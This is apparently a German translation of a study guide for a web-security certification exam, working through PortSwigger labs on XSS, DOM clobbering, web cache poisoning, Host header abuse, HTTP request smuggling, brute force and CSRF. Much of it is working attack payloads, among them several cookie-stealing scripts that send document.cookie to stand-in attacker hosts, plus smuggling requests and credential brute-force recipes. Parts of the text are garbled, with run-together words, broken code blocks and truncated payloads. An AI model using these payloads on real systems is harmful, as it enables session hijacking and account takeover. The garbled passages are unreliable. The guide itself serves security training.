<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
Dieses Ziel wird ausgenutzt, indem eine HTML-Injektion erstellt wird, die eine Variable namens
share_buttonüberschreibt (siehesource codeunten) und den obigen HTML-Code verwendet. Der Inhalt wird auf der Seite reflektiert; mithilfe dieser Reflektion wird dann eine Weiterleitung auf die/edit-Seite des Opfers ermöglicht, indem dasmeta http-equiv-Tag verwendet wird, um die Seite nach 1 Sekunde zu aktualisieren, was zu einer Weiterleitung führt.
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>Exploit ausliefern, indem eine URL, die auf den obigen Blogeintrag verweist, an das Opfer gesendet wird; dadurch wird bei diesem XSS ausgelöst.
[intigriti - Self-XSS-Upgrade - Lösung der XSS-Challenge vom 22. Dezember](https://youtu.be/FowbZ8IlU7o)
>Alternativer Exploit per HTML-Injection in der Seite „Edit Content“ des Blogeintrags, ***identifiziert*** mithilfe der [XSS Resources CSP-Prüfung](#xss-resources).```
<base href="https://Exploit.net">
Hosten Sie die JS-Datei auf dem Exploit-Server als
static/js/bootstrap.bundle.min.js, mit folgendem Inhalt:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>Das modifizierte PortSwigger-Lab-Payload weist die Funktion `document.location` der Variablen `defaultAvatar` zu, sobald die Seite das nächste Mal geladen wird, da die Website DOMPurify verwendet, das die Verwendung des `cid:`-Protokolls erlaubt, das keine URL-Kodierung doppelter Anführungszeichen vornimmt.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
PortSwigger Lab: DOM-Clobbering ausnutzen, um XSS zu ermöglichen
Im JavaScript-
Quellcodedes enthaltenen Skriptsresources/js/loadCommentsWithVulnerableEscapeHtml.jsidentifizieren wir diehtml.replace()-Funktion innerhalb der benutzerdefiniertenloadComments-Funktion. Beim Testen von Payloads sehen wir, dass die Funktion nur das erste Vorkommen von<>ersetzt.
```html
<>
>Das obige Payload wird gespeichert, und jeder Benutzer, der den Kommentar-Blog besucht, führt dazu, dass sein Session-Cookie gestohlen und an den Collaborator gesendet wird.
>PortSwigger-Lab-Payload: `<>`.
[PortSwigger Lab: Stored DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## Web Cache Poison
[Unkeyed header](#unkeyed-header)
[Unkeyed Utm_content](#unkeyed-utm_content)
[Cloaking utm_content](#cloaking-utm_content)
[Poison ambiguous request](#poison-ambiguous-request)
[Cache Poison multiple headers](#cache-poison-multiple-headers)
### Unkeyed header
>Das Ziel verwendet **tracking.js**-JavaScript,
>und ist anfällig für den **```X-Forwarded-Host```**- oder **```X-Host```**-Header, der den Pfad umleitet,
>wodurch das Stehlen von Cookies durch Cache-Poisoning ermöglicht wird.
>***Identifizieren Sie*** die Web-Cache-Header in der Antwort und das tracking.js-Skript im Seitenquellcode.
>Nutzen Sie die Schwachstelle aus, indem Sie JavaScript hosten und den Header injizieren, um den Cache des Ziels zu vergiften und ein besuchendes Opfer umzuleiten.
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
Hosten auf dem Exploit-Server, Einfügen des
X-Forwarded-Host-Headers in die Anfrage und Vergiften des Caches, bis das Opfer den vergifteten Cache erreicht.``` /resources/js/tracking.js
>Body sendet Session-Cookie an den Kollaborationsdienst.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
Vergifte den Web-Cache des Ziels weiterhin, indem du die Anfrage mit dem
X-Forwarded-Host-Header erneut sendest.
PortSwigger-Lab: Web-Cache-Poisoning mit einem unkeyed Header
YouTube-Video, das die obige Lab-Payload auf dem Exploit-Server zeigt, die modifiziert wurde, um das Opfer-Cookie zu stehlen, wenn das Opfer einen gecachten Eintrag auf dem Backend-Server abruft. Die Payload ist das obige JavaScript.
YouTube: Web-Cache-Poisoning mit unkeyed Header - Cookie-Dieb
Param-Miner-Erweiterung zur Identifizierung von Web-Cache-Schwachstellen
Das Ziel ist anfällig für Web-Cache-Poisoning, weil es einen bestimmten Parameter vom Cache-Schlüssel ausschließt. Die Funktion "Guess GET parameters" von Param Miner wird den Parameter als utm_content identifizieren.
```
GET /?utm_content='/>
>Das obige Payload wird zwischengespeichert und das Cookie des Opfers, das die Zielseite besucht, wird an Burp Collaborator gesendet.
[PortSwigger Lab: Web-Cache-Poisoning über einen nicht im Cache-Schlüssel enthaltenen Abfrageparameter](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### Cloaking von utm_content
>Die Param-Miner-Erweiterung führt einen `Bulk scan > Rails parameter cloaking scan` durch und wird die Schwachstelle automatisch ***identifizieren***. Manuell kann die Schwachstelle erkannt werden, indem `;` hinzugefügt wird, um einen weiteren Parameter an `utm_content` anzuhängen. Der Cache behandelt dies als einen einzelnen Parameter. Das bedeutet, dass der zusätzliche Parameter ebenfalls vom Cache-Schlüssel ausgeschlossen ist.
>Der `Quellcode` für `/js/geolocate.js?callback=setCountryCookie` wird auf jeder Seite aufgerufen und führt die Callback-Funktion aus.
>Der `callback`-Parameter ist im Cache-Schlüssel enthalten und kann daher den Cache für den Opfer-Benutzer nicht vergiften. Durch die Kombination eines doppelten Parameters mit `utm_content` wird er jedoch ausgeschlossen, sodass der Cache vergiftet werden kann.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction
Cache-Cloaking-Payload zur Cookie-Erfassung unten; vergifte den Cache weiter, bis das Opfer den gespeicherten Cache erreicht.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>Unten ist der [URL-dekodierte](https://www.urldecoder.org/) Payload.```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
PortSwigger Lab: Parameter cloaking
Das Hinzufügen eines zweiten Host-Headers mit einem Exploit-Server identifiziert eine mehrdeutige Cache-Schwachstelle und leitet Ihre Anfrage um. Beachten Sie, dass der Exploit-Server im zweiten Host-Header in einer absoluten URL widergespiegelt wird, die zum Importieren eines Skripts von
/resources/js/tracking.jsverwendet wird.```html Host: TARGET.net Host: exploit.net
>Richten Sie auf dem Exploit-Server eine Datei unter demselben Pfad ein, den die Aufrufe an ```/resources/js/tracking.js``` verwenden; diese Datei enthält die Payload. Platzieren Sie den folgenden JavaScript-Payload-Code, um einen Cookie-Dieb auszuführen.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;
PortSwigger Lab: Web-Cache-Poisoning über mehrdeutige Anfragen
Ermittle, ob Cache-Hit-Header in Antworten vorhanden sind,
teste dann, ob das ZielX-Forwarded-Host- oderX-Forwarded-Scheme-Header unterstützt.
Diese Header können das Stehlen des Sitzungs-Cookies des Opfers ermöglichen.
Ermittle, ob das Hinzufügen der beiden Forwarded-Header zur GET
/resources/js/tracking.js-Anfrage zu einer Änderung des Location-Antwortheaders führt. Dies bestätigt eine erfolgreiche Vergiftung des Caches mit mehreren Headern.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps
>Ändern Sie auf dem Exploit-Server den Dateipfad zu ```/resources/js/tracking.js```
>und aktualisieren Sie dann den Header der Poison-Request ```X-Forwarded-Host: EXPLOIT.net```.
>Platzieren Sie die Payload im Body des Exploit-Servers.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
Entferne den
cb=123Cache Buster und vergifte dann den Cache, bis das Opfer auf die Payload tracking.js des Exploit-Servers umgeleitet wird, um das Session-Cookie zu stehlen.
PortSwigger Lab: Web cache poisoning with multiple headers
Erkenne, dass die Anwendung anfällig für Duplicate Parameter Poisoning ist, indem du einen zweiten Parameter mit demselben Namen und einem anderen Wert hinzufügst; die Antwort spiegelte den injizierten Wert wider.
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>Die Funktion, die in der Antwort aufgerufen wird, indem ein doppelter Callback-Parameter übergeben wird, wird reflektiert. Beachten Sie, dass der Cache-Key in der Antwort weiterhin aus dem ursprünglichen Callback-Parameter in der GET-Anfragezeile abgeleitet wird.
>Cookie-Stealer-Payload konnte nicht zum Funktionieren gebracht werden......
[PortSwigger Lab: Web-Cache-Poisoning mittels einer Fat-GET-Anfrage](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Host-Header
[IP-Adresse fälschen](#spoof-ip-address)
[HOST-Verbindungsstatus](#host-connection-state)
[Host-Routing-basiertes SSRF](#host-routing-based-ssrf)
[SSRF durch fehlerhaftes Parsen von Host-Anfragen](#absolute-get-url--host-ssrf)
### IP-Adresse fälschen
>***Stellen Sie fest***, dass geänderte HOST-Header unterstützt werden,
>was es Ihnen ermöglicht, Ihre IP-Adresse zu fälschen und den IP-basierten Brute-Force-Schutz zu umgehen
>oder Weiterleitungsangriffe, um ***Passwort-Reset***-Poisoning durchzuführen.
>Fügen Sie die folgenden `X- `-Header hinzu und ändern Sie den Benutzernamenparameter in der Passwort-Reset-Anfrage zu `Carlos`, bevor Sie die Anfrage senden.
>Wenn Sie im BSCP-Examen diesen Exploit verwendet haben, bedeutet das, dass Sie keine Schwachstelle verwendet haben, die Benutzerinteraktion erfordert und es Ihnen ermöglicht, eine Interaktionsschwachstelle zu nutzen, um als Admin Zugriff auf Stufe 3 zu erhalten, indem Sie die Funktion `Deliver exploit to victim` des Exploit-Servers verwenden.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Tipps & Hinweise von fullfox:
Host: oder X-Forwarded-Host: spoofst und den Fehler Invalid hostname erhältst, versuche den folgenden Hostnamen zu verwenden: xxx.oastify.com?TARGET.net legitime Ziel-URL ohne Schrägstrich.Prüfe das Exploit-Server-Log, um den Reset-Link für den Benutzernamen des Opfers zu erhalten.
PortSwigger Lab: Passwort-Reset-Vergiftung über Middleware
Das Ziel ist anfällig für Routing-basiertes SSRF über den Host-Header, validiert jedoch den Verbindungszustand der ersten Anfrage. Das Senden gruppierter Anfragen in Sequenz über eine einzelne Verbindung und das Setzen des Verbindungs-Headers auf keep-alive umgeht die Host-Header-Validierung und ermöglicht die SSRF-Ausnutzung des lokalen Servers.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>Die nächste Anfrage ist der zweite Tab in der Gruppensequenz der Anfragen.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
Beachten Sie, dass die zweite Anfrage erfolgreich auf das Admin-Panel zugegriffen hat.
PortSwigger Lab: Umgehung der Host-Validierung per Connection-State-Angriff
Architektur mit Frontend- und Backend-Server, bei der entweder das Frontend oder das Backend keine Chunked-Encoding (HEX) oder Content-Length (Dezimal) unterstützt. Umgehen Sie die Sicherheitskontrollen, um die Anfrage des Opfers abzurufen und mithilfe der Cookies des Opfer-Benutzers auf dessen Konto zuzugreifen.
TE.CL dualchunk - Transfer-encoding obfuscated
TE.CL multiCase - Admin blocked
CL.TE multiCase - Admin blocked
CL.TE multiCase - Content-Length Cookie Stealer
CL.TE multiCase - User-Agent Cookie Stealer
HTTP/2 smuggling - CRLF injection Cookie Stealer
HTTP/2 TE - Admin Cookie Stealer
Wenn doppelte Header-Namen erlaubt sind und die Schwachstelle als dualchunk erkannt wird, fügen Sie einen zusätzlichen Header mit Name und Wert = Transfer-encoding: cow hinzu. Verwenden Sie Verschleierungstechniken mit dem zweiten TE.``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>Einige Server, die den `Transfer-Encoding`-Header unterstützen, können dazu veranlasst werden, ihn nicht zu verarbeiten, wenn der Header auf irgendeine Weise **verschleiert** wird.
>Stellen Sie im Repeater-Menü sicher, dass die Option **"Update Content-Length"** deaktiviert ist.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n
Hinweis: Sie müssen die abschließende Sequenz \r\n\r\n nach der finalen 0 einfügen.
PortSwigger Lab: HTTP-Request-Schmuggel, Verschleierung des Transfer-Encoding (TE)-Headers
Man fragt sich, wie oft dieses Szenario vorkommt, dass ein Hacker über eine HTTP-Sync-Schwachstelle die Anfragen von Besuchern stehlen kann?
Beim Versuch, auf den Portal-URL-Pfad
/adminzuzugreifen, erhalten wir die FiltermitteilungPath /admin is blocked. Der HTTP-Request-Smuggler-Scanner identifiziert die Schwachstelle alsTE.CL multiCase (delayed response). Hinweis: Da der Backend-Server kein Chunked-Encoding unterstützt, deaktivieren SieUpdate Content-Lengthim Repeater-Menü.
Nachdem Sie die automatische Aktualisierung der Content-Length deaktiviert haben, wechseln Sie zu
HTTP/1.1, und senden Sie dann die folgende Anfrage zweimal. Das Hinzufügen des zweiten HeadersContent-Length: 15verhindert, dass der HOST-Header mit der ersten Anfrage in Konflikt gerät.
Hinweis: Die abschließende Sequenz\r\n\r\nmuss nach der finalen0eingefügt werden.
Beim manuellen Korrigieren der Längenfelder bei Request-Smuggling-Angriffen muss jede Chunk-Größe in Bytes in HEXADEZIMAL ausgedrückt werden, und Content-Length gibt die Länge des Nachrichtentexts in Bytes an. Auf Chunks folgt ein Zeilenumbruch, danach folgt der Chunk-Inhalt. Die Nachricht wird mit einem Chunk der Größe NULL beendet.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>Berechnung der TE.CL (Transfer-Encoding / Content-Length) Schmuggelanfrage-Länge in **HEXADEZIMAL**, wobei die Nutzlast zwischen der Hex-Länge von **71** und dem abschließenden **ZERO** liegt, ohne das ZERO und ohne das vorhergehende `\r\n` in der Zeile über ZERO, als Teil der Länge. Die anfängliche **content-length** der POST-Anfrage wird manuell gesetzt.
>Beim Senden von `/admin/delete?username=carlos` zum Löschen des Benutzers wird die Hex-Länge der Transfer-Encoding von `71` auf den Hexadezimalwert `88` geändert, um die zusätzliche geschmuggelte Anfragegröße einzuschließen.
[PortSwigger Labor: Ausnutzung von HTTP-Request-Smuggling zur Umgehung von Frontend-Sicherheitskontrollen, TE.CL-Schwachstelle](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - Admin blockiert
>Beim Versuch, auf den Portal-URL-Pfad `/admin` zuzugreifen, erhalten wir die Filtermitteilung `Path /admin is blocked`. Der HTTP-Request-Smuggler-Scanner ***identifiziert*** die Schwachstelle als `CL.TE multiCase (delayed response)`.
>Um auf das Admin-Panel zuzugreifen, senden Sie die folgende Anfrage zweimal und fügen Sie den zweiten Header ```Content-Length: 10``` hinzu, um zu verhindern, dass der HOST-Header mit der ersten Anfrage kollidiert.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Beim zweiten Senden der Anfrage wird das Admin-Portal in der Antwort zurückgegeben.
Große Content-Length, um Opferanfragen zu erfassen. Senden einer POST-Anfrage mit geschmuggelter Anfrage, aber die Content-Length ist länger als die tatsächliche Länge. Wenn das Opfer browst, wird sein Cookie-Sitzungswert im Blob-Kommentar gepostet. Die Content-Length der Kommentar-POST-Anfrage wurde auf 798 erhöht, dann wird die POST-Anfrage an den Backend-Server geschmuggelt.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c
>Keine neue Zeile am Ende der oben stehenden geschmuggelten POST-Anfrage^^.
>Sieh dir den Blog-**Beitrag** an, um zu sehen, ob es einen Kommentar gibt, der die Anfrage eines Benutzers enthält. Beachte, dass der Angriff erst dann erfolgreich ist, wenn das Opfer die Zielwebsite besucht. Kopiere den Cookie-Header des Benutzers aus dem Kommentar im Blog-Beitrag und verwende das Cookie, um auf das Konto des Opfers zuzugreifen.
[PortSwigger Lab: Ausnutzen von HTTP-Request-Smuggling, um die Anfragen anderer Benutzer abzufangen](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - User-Agent-Cookie-Stealer
>***Ermittle*** den UserAgent-Wert, der in der GET-Anfrage gespeichert ist, die das Blog-Kommentarformular lädt, und der im versteckten **User-Agent**-Wert abgelegt ist. Nutze HTTP-Request-Smuggling aus, um reflektiertes XSS mithilfe des **User-Agent**-Werts auszuliefern, der dann in eine geschmuggelte Anfrage eingefügt wird.
>Einfacher Cross-Site-Scripting-Payload, der aus dem HTML-Dokument ausbricht.```JavaScript
"/><script>alert(1)</script>
COOKIE STEALER Payload.```JavaScript a"/>;
>Schmuggle diese XSS-Anfrage an den Backend-Server, sodass sie den nächsten Besucher ausnutzt. Platziere den XSS-Cookie-Dieb im **User-Agent**-Header.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
Überprüfen Sie die PortSwigger-Collaborator-Anfrage, die vom Opfer beim Surfen auf dem Ziel stammt.
PortSwigger Lab: Ausnutzen von HTTP-Request-Smuggling, um reflektiertes XSS auszuliefern
Das Ziel ist anfällig für Request-Smuggling, da der Front-End-Server HTTP/2-Anfragen herabstuft und eingehende Header nicht ausreichend bereinigt. Die Ausnutzung erfolgt über einen HTTP/2-exklusiven Request-Smuggling-Vektor, um das Session-Cookie eines Opfers zu stehlen und Zugriff auf das Benutzerkonto zu erlangen.
Identifizieren Sie eine mögliche Schwachstelle, wenn das Ziel den früheren und aktuellen Suchverlauf anhand des Cookies anzeigt. Durch Entfernen des Cookies wird festgestellt, dass Ihr Suchverlauf zurückgesetzt wird, was bestätigt, dass er an Ihr Session-Cookie gebunden ist.
Erweitern Sie den Abschnitt Request Attributes des Inspectors und ändern Sie das Protokoll auf HTTP/2. Fügen Sie dann einen beliebigen Header
foomit dem Wertbarhinzu, gefolgt von der Sequenz\r\nund anschließend vonTransfer-Encoding: chunked, indem Sie shift+ENTER drücken.
Hinweis: Aktivieren Sie die Option Allow HTTP/2 ALPN override und ändern Sie den Körper der HTTP/2-Anfrage in die folgende POST-Anfrage.```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty
[PortSwigger Lab: HTTP/2-Request-Smuggling über CRLF-Injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[Youtube-Demo: HTTP/2-Request-Smuggling über CRLF-Injection](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>Das Ziel ist anfällig für Request-Smuggling, weil der Front-End-Server HTTP/2-Anfragen selbst dann herabstuft, wenn sie eine mehrdeutige Länge haben. Stehlen Sie das Session-Cookie des Admins, der das Ziel besucht. Die Burp-Erweiterung **HTTP Request Smuggler** wird die Schwachstelle als HTTP/2 TE desync v10a (H2.TE)-Schwachstelle ***identifizieren***.
>Hinweis: Wechseln Sie in den Request-Attributen des Inspektors zu **HTTP/2** und aktivieren Sie die Option **Allow HTTP/2 ALPN override** im Wiederholungsmenü.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
Hinweis: Pfade in POST- und GET-Anfragen zeigen auf nicht existierende Endpunkte. Dies hilft zu erkennen, dass die Antwort, wenn keine 404-Antwort empfangen wird, von der erfassten Anfrage des Opfernutzers stammt. Denken Sie daran, die geschmuggelte Anfrage korrekt zu beenden, indem Sie die Sequenz
\r\n\r\nnach dem Host-Header einfügen.
Kopieren Sie den gestohlenen Session-Cookie-Wert in eine neue http/2-GET-Anfrage an das Admin-Panel.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0
[PortSwigger Lab: Response-Queue-Poisoning per H2.TE-Request-Smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## Brute Force
[Stay-Logged-in](#stay-logged-in)
[Stay-logged-in Offline Crack](#stay-logged-in-offline-crack)
[Brute Force Protected Login](#brute-force-protected-login)
[Subtly Invalid Login](#subtly-invalid-login)
### Stay-Logged-in
>Die Login-Option mit einem Kontrollkästchen „stay-logged-in“ führt dazu, dass der Cookie-Wert das Passwort des angemeldeten Benutzers enthält und anfällig für Brute-Force ist.
>Die untenstehenden Exploit-Schritte sowie die Regeln für die Intruder-Payload-Verarbeitung in der richtigen Reihenfolge und einschließlich der GREP-Option sind vor dem Start des Angriffs anzuwenden.
1. Als aktueller Benutzer abmelden.
2. Die jüngste GET /my-account-Anfrage an Burp Intruder senden.
3. Das Cookie: ```stay-logged-in``` als Injektionsposition auswählen.
4. Hash: ```MD5```
5. Präfix hinzufügen: ```carlos:```
6. Kodierung: ```Base64-encode```
7. Unter dem Tab „Einstellungen“ **GREP** hinzufügen, um in der Antwort nach der Zeichenkette ```Update email``` zu suchen, die einen erfolgreichen Login anzeigt.
[PortSwigger Lab: Brute-Forcing eines stay-logged-in-Cookies](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Stay-logged-in Offline Crack
>Die Kommentarfunktion der Blog-Anwendung ist anfällig für [gespeichertes XSS](#stored-xss); verwenden Sie das folgende Payload im Blog-Kommentar, um das Session-Cookie von Carlos an den Exploit-Server zu senden.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
Base64-dekodieren Sie den
stay-logged-inCookie-Wert und verwenden Sie eine Online-Datenbank einer MD5-Hash-Crack-Station.
PortSwigger Lab: Offline-Passwort-Knacken
Identifiziert Brute-Force-Schutz beim Login, wenn das Backend eine 30-minütige Sperre verhängt, was nach zu vielen ungültigen Anmeldeversuchen zu IP-Sperre führt. Das Testen des
X-Forwarded-For:-Headers führt zur Umgehung des Brute-Force-Schutzes. Die Beobachtung der Antwortzeit bei langem ungültigem Passwort bedeutet, dass wir die Pitchfork-Technik verwenden können, um zuerst gültige Benutzernamen mit zufälligem langem Passwort zu identifizieren und dann den Intruder mit Pitchfork erneut auszuführen, wobei jeder Payload-Positionsangriff durch alle Sets gleichzeitig iteriert.
Burp Lab Wortlisten für Benutzernamen-, Passwort- und Verzeichnis-Fuzzing
Payload-Position 1 auf IP-Adresse für
X-Forwarded-For:und Position 2 auf Benutzername mit langem Passwort, um die Antwortzeitverzögerung im Angriffsspalten-Fenster zu sehen.``` X-Forwarded-For: 12.13.14.15
>Wiederholen Sie den obigen **Pitchfork**-Intruder-Angriff auf das Passwortfeld und ***identifizieren*** Sie dann das gültige Passwort anhand der Statusspalte mit dem Ergebnis 302.
[PortSwigger-Lab: Benutzernamen-Enumeration über Antwortzeit](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### Subtil ungültige Anmeldung
>***Identifizieren*** Sie, dass die Anmeldeseite & das Zurücksetzen des Passworts nicht durch Brute-Force-Angriffe geschützt sind und keine IP-Sperre oder Zeitüberschreitung für ungültige Benutzernamen oder Passwörter erzwungen wird.
>Tipp für die BSCP-Prüfung: Es gibt manchmal einen anderen Benutzer mit schwachem Passwort, der per Brute-Force angegriffen werden kann. Carlos ist nicht immer das Konto, das angegriffen werden sollte, um in Stufe 1 einen ersten Zugang zu erhalten.
>Beachten Sie in der Spalte „Intruder-Angriff“ für den GREP-Wert ```Invalid username or password.```, dass eine Antwortnachricht für einen fehlgeschlagenen Benutzernamen-Angriff am Ende keinen Punkt enthält. Wiederholen Sie den Angriff mit diesem ***identifizierten*** Benutzernamen und führen Sie einen **Sniper**-Angriff auf das Passwortfeld durch, um die ```302```-Antwort für eine gültige Anmeldung zu ***identifizieren***.
>In der BSCP-Prüfung ***achten Sie*** auf andere zurückgegebene Nachrichten, die sich unterscheiden und gültige Konten in der Anwendung preisgeben sowie das ***Identifizieren*** von Kontopasswörtern per Brute-Force ermöglichen, wie zum Beispiel bei der Funktion [Passwort-Reset aktualisieren](#refresh-password-broken-logic).
>Sobald ein gültiger Benutzername anhand einer anderen Antwortnachricht identifiziert wurde, führen Sie mit Burp Intruder einen [Brute-Force](#brute-force) auf das Passwort durch.
[PortSwigger-Lab: Benutzernamen-Enumeration über subtil unterschiedliche Antworten](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>Ein weiteres Szenario, um einen gültigen Benutzernamen in der Web-App zu identifizieren, besteht darin, eine Liste von Benutzernamen bei der Anmeldung und einen ungültigen Passwortwert bereitzustellen. In den Ergebnissen des Intruder-Angriffs wird eine Antwort die Nachricht `Incorrect password` enthalten.
>Injektionsposition des Intruder-Angriffs, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[PortSwigger-Lab: Benutzernamen-Enumeration über verschiedene Antworten](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## Authentifizierung
[Account-Registrierung](#account-registration)
[Auth-Token-Bypass-Makro](#auth-token-bypass-macro)
### Account-Registrierung
>Ein Fehler in der Geschäftslogik der Account-Registrierungsfunktion ermöglicht es, als Zielbenutzerrolle Zugriff zu erlangen. [Content Discovery](#content-discovery) findet den Pfad ```/admin```; eine Nachricht besagt, dass die Admin-Oberfläche nur verfügbar ist, wenn man als **DontWannaCry**-Benutzer angemeldet ist.
>Das Erstellen einer E-Mail mit mehr als 200 Zeichen vor dem ```@```-Symbol führt dazu, dass auf 255 Zeichen gekürzt wird. Dies ***identifiziert*** den **Fehler** in der Logik der Account-Registrierungsseite als Schwachstelle. In der E-Mail unten ist das ```m``` am Ende von ```@dontwannacry.com``` genau Zeichen 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net
PortSwigger Lab: Inkonsistente Behandlung außergewöhnlicher Eingaben
Wenn die Anmeldung durch ein Zufallstoken geschützt ist, das bei jedem Login-POST verwendet wird, kann ein Burp-Makro verwendet werden, um den Schutz zu umgehen.
Burp-Makro erstellen
Macros und fügen Sie ein neues Makro hinzu.Configure item und fügen Sie eine benutzerdefinierte Parameterposition zum Extrahieren hinzu.Include all URLs.
PortSwigger Lab: Logikfehler unendliches Geld – zeigt, wie man ein Burp-Makro erstellt
OAuth
Referer-Validierungs-CSRF
Referer-Header vorhanden
LastSearchTerm
CSRF im Cookie dupliziert
CSRF-Token vorhanden
Ist angemeldet
CSRF ohne Schutz
SameSite-Strict-Bypass
SameSite-Lax-Bypass
Die Cross-Site-Request-Forgery-Schwachstelle ermöglicht es einem Angreifer, Benutzer zu Aktionen zu zwingen, die sie nicht beabsichtigt haben. Dadurch kann der Angreifer die E-Mail-Adresse des Opfers ändern und mithilfe der Passwort-Zurücksetzung das Konto übernehmen.
OAuth-Linking nutzt einen Exploit-Server, der einen iframe hostet, und stellt diesen dem Opfer bereit, wodurch der Benutzer gezwungen wird, den verknüpften Code zu aktualisieren.
Fangen Sie die GET-Anfrage /oauth-linking?code=[...] ab. Senden Sie sie an Repeater, um den Code zu speichern. Verwerfen Sie die Anfrage. Wichtig ist, dass der Code nicht verwendet wird und gültig bleibt. Speichern Sie auf dem Exploit-Server einen iframe, dessen
src-Attribut auf die soeben kopierte URL zeigt.```html
### Referer-Validierung CSRF
>***Identifiziere*** die Funktion zum Ändern der E-Mail-Adresse als anfällig für CSRF, indem du beobachtest, dass die Antwort die Meldung `Invalid referer header` ausgibt, wenn der Wert des **Referer**-Headers geändert wird, und dass die E-Mail-Änderung akzeptiert wird, wenn der Referrer-Wert irgendwo im Wert die erwartete Zieldomäne enthält.
